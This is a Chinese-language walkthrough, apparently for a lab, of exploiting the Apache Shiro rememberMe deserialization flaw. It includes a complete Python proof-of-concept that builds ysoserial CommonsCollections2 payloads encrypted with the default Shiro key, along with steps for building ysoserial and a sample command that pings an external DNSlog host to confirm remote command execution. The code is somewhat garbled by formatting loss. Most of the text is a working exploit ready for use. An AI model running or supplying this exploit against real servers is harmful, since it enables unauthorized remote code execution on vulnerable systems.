开启神奇Burp,抓包,通过返回包的情况来进行分析(敏感信息打码)当返回包看到关键字rememberMe=deleteMe;可能存在shiro反序列化漏洞
3)步入洞点
当看到关键字rememberMe=deleteMe;,你是否就会想起Shiro反序列化漏洞,那么我们现在用实验室的集成脚本进行测试,是否存在Shiro反序列化漏洞。这里相当于先提供POC测试。
我们通过工具地址:
https://github.com/feihong-cs/ShiroExploit下载工具
使用案例:
或者、生成payload的脚本
将下面的脚本保存至本地命名为shiro_poc.py,然后进入linux系统/tmp目录下(如想使用其他KEY,替换脚本中的即可)
不要使用vi/vim命令创建文件再粘贴过去,粘贴会破坏代码的布局格式
命令行输入rz回车,就会跳出文件上传的页面(如果报错,pip安装一下),选择文件上传即可
# pip install pycryptoimport sysimport base64import uuidfromrandomimport Randomimport subprocessfromCrypto.Cipherimport AESdef encode_rememberme(command):
popen = subprocess.Popen(['java','-jar','ysoserial-0.0.5-SNAPSHOT-all.jar','CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad =lambdas: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key ="kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertextif__name__=='__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie","w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
2、安装模块
脚本使用的是python3,安装模块时要使用pip3 install 模块名
其中有一个模块需要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipher
pip3 install pycrypto
3、ysoserial的jar文件
依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
0x03 复现过程
在脚本后面输入你想要执行的命令,例:
python3 shiro_poc.py "ping fkl2af.ceye.io"
然后便会在脚本所在目录下生成文件payload.cookie
浏览器打开漏洞环境并登陆进去,点击account page抓包
用payload.cookie中内容替换Cookie中的全部内容,Go
到ceye平台查看即可到流量记录